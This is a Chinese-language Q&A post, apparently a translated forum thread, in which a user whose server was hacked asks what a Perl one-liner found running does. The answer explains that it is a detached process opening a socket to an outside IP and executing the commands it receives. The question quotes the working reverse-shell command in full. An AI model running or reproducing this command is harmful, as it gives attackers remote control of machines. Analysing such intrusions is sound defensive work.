perl - 这个邪恶的程序有什么作用？

Question

我的服务器被黑了，ps aux显示它现在正在运行这个程序:

perl -MIO -e $p=fork;exit,if($p);$c=new IO::Socket::INET (PeerAddr,"169.50.9.58:1212");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;

我不知道 Perl...这个程序在做什么？

Answer 1

它打开一个到那个 IP 的套接字。然后它设置了STDIN阅读它和 STDOUT去吧。因此，它在进程和该 IP 之间建立了直接通信 channel 。

然后它进入 while它通过 system 运行的循环无论通过什么STDIN .

它在一个 fork 进程中执行此操作，即发即忘(分离)样式，其中父进程立即退出。所以这将执行并退出，并且还有另一个进程与该 IP 对话并运行命令。